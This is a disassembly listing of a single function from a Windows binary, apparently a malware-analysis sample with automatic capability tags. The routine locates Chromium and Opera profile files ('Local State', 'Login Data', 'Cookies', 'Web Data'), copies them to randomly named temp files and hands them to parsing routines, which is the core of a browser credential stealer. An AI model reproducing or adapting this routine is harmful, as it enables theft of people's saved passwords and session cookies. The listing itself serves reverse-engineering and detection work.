Function at 0x404e60
Capabilities:
Copy file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x4bfc96
push eax
mov eax, 0x10d8
mov dword fs:[0], esp
call fcn.004bef90
push ebx
push esi
push edi
push 0x208
lea eax, [ebp - 0x2a8]
mov ebx, ecx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp dword [ebp + 0xc], 1
lea eax, [ebp - 0x2a8]
push eax
mov ecx, str._wSOpera_StableLocal_State
mov eax, str._wSLocal_State
cmove eax, ecx
push eax
lea eax, [ebp - 0x10e0]
push 0x104
push eax
call fcn.00405dd0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x2a8]
push esi
push eax
push str._wS_wSLogin_Data
lea eax, [ebp - 0x4b0]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x24
lea eax, [ebp - 0x2a8]
push esi
push eax
push str._wS_wSCookies
lea eax, [ebp - 0x6b8]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x14
lea eax, [ebp - 0x2a8]
push esi
push eax
push str._wS_wSWeb_Data
lea eax, [ebp - 0x8c0]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x14
cmp word [ebp - 0x4b0], 0
je 0x405446
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
lea eax, [ebp - 0x4b0]
push 0
push 0
push 3
push 0
push 0
push 0x80
push eax
call edi
cmp eax, 0xffffffff
je 0x405446
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
cmp word [ebp - 0x6b8], 0
je 0x405446
push 0
push 0
push 3
push 0
push 0
push 0x80
lea eax, [ebp - 0x6b8]
push eax
call edi
cmp eax, 0xffffffff
je 0x405446
push eax
call esi
cmp word [ebp - 0x8c0], 0
je 0x405446
push 0
push 0
push 3
push 0
push 0
push 0x80
lea eax, [ebp - 0x8c0]
push eax
call edi
cmp eax, 0xffffffff
je 0x405446
push eax
call esi
cmp byte [0x4da960], 0
je 0x404fef
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0x9c]
mov edi, 5
idiv edi
add edx, edi
call fcn.0040ef20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x9c]
cmp dword [ebp - 0x88], 0x10
mov eax, dword [ebp - 0x8c]
cmovae ecx, dword [ebp - 0x9c]
add eax, ecx
cmp dword [ebp - 0x88], 0x10
lea ecx, [ebp - 0x9c]
cmovae ecx, dword [ebp - 0x9c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x84]
call fcn.00405df0
mov byte [ebp - 4], 1
cmp byte [0x4da960], 0
je 0x405075
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0x3c]
idiv edi
add edx, 5
call fcn.0040ef20
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
mov eax, dword [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x3c]
add eax, ecx
cmp dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0x3c]
cmovae ecx, dword [ebp - 0x3c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x6c]
call fcn.00405df0
mov byte [ebp - 4], 3
cmp byte [0x4da960], 0
je 0x4050d9
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0x24]
idiv edi
add edx, 5
call fcn.0040ef20
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x24]
cmp dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x14]
cmovae ecx, dword [ebp - 0x24]
add eax, ecx
cmp dword [ebp - 0x10], 0x10
lea ecx, [ebp - 0x24]
cmovae ecx, dword [ebp - 0x24]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x54]
call fcn.00405df0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 8
mov eax, 0x4dc690
cmovae ecx, dword [ebp - 0x84]
cmp dword [0x4dc6a4], 8
push ecx
cmovae eax, dword [0x4dc690]
push eax
push str.Temp
call fcn.004a9a8d
add esp, 4
push eax
push str._wS_wS_wS.tmp
lea eax, [ebp - 0xcd0]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x18
lea ecx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 8
mov eax, 0x4dc690
cmovae ecx, dword [ebp - 0x6c]
cmp dword [0x4dc6a4], 8
push ecx
cmovae eax, dword [0x4dc690]
push eax
push str.Temp
call fcn.004a9a8d
add esp, 4
push eax
push str._wS_wS_wS.tmp
lea eax, [ebp - 0xed8]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x18
lea ecx, [ebp - 0x54]
cmp dword [ebp - 0x40], 8
mov eax, 0x4dc690
cmovae ecx, dword [ebp - 0x54]
cmp dword [0x4dc6a4], 8
push ecx
cmovae eax, dword [0x4dc690]
push eax
push str.Temp
call fcn.004a9a8d
add esp, 4
push eax
push str._wS_wS_wS.tmp
lea eax, [ebp - 0xac8]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x18
lea eax, [ebp - 0xcd0]
push 0
push eax
lea eax, [ebp - 0x4b0]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push eax
call esi
push 0
lea eax, [ebp - 0xed8]
push eax
lea eax, [ebp - 0x6b8]
push eax
call esi
push 0
lea eax, [ebp - 0xac8]
push eax
lea eax, [ebp - 0x8c0]
push eax
call esi
lea ecx, [ebp - 0x10e0]
call fcn.00401270
mov esi, eax
test esi, esi
je 0x405285
push ebx
mov edx, esi
lea ecx, [ebp - 0xcd0]
call fcn.00401650
add esp, 4
lea ecx, [ebp - 0xed8]
mov edx, esi
push ebx
call fcn.00401af0
add esp, 4
lea ecx, [ebp - 0xac8]
mov edx, esi
call fcn.00402ea0
lea ecx, [ebp - 0xac8]
call fcn.004032f0
push esi
call fcn.004a9b70
add esp, 4
mov edx, dword [ebp - 0x40]
cmp edx, 8
jb 0x4052bf
mov ecx, dword [ebp - 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4052b5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405459
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 7
mov word [ebp - 0x54], ax
cmp edx, 0x10
jb 0x405307
mov ecx, dword [ebp - 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4052fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405459
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
cmp edx, 8
jb 0x405353
mov ecx, dword [ebp - 0x6c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405349
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405459
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 7
mov word [ebp - 0x6c], ax
cmp edx, 0x10
jb 0x40539b
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405391
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405459
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 8
jb 0x4053e6
mov ecx, dword [ebp - 0x84]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4053dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405459
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x88]
xor eax, eax
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 7
mov word [ebp - 0x84], ax
cmp edx, 0x10
jb 0x405433
mov ecx, dword [ebp - 0x9c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405429
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405459
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
int3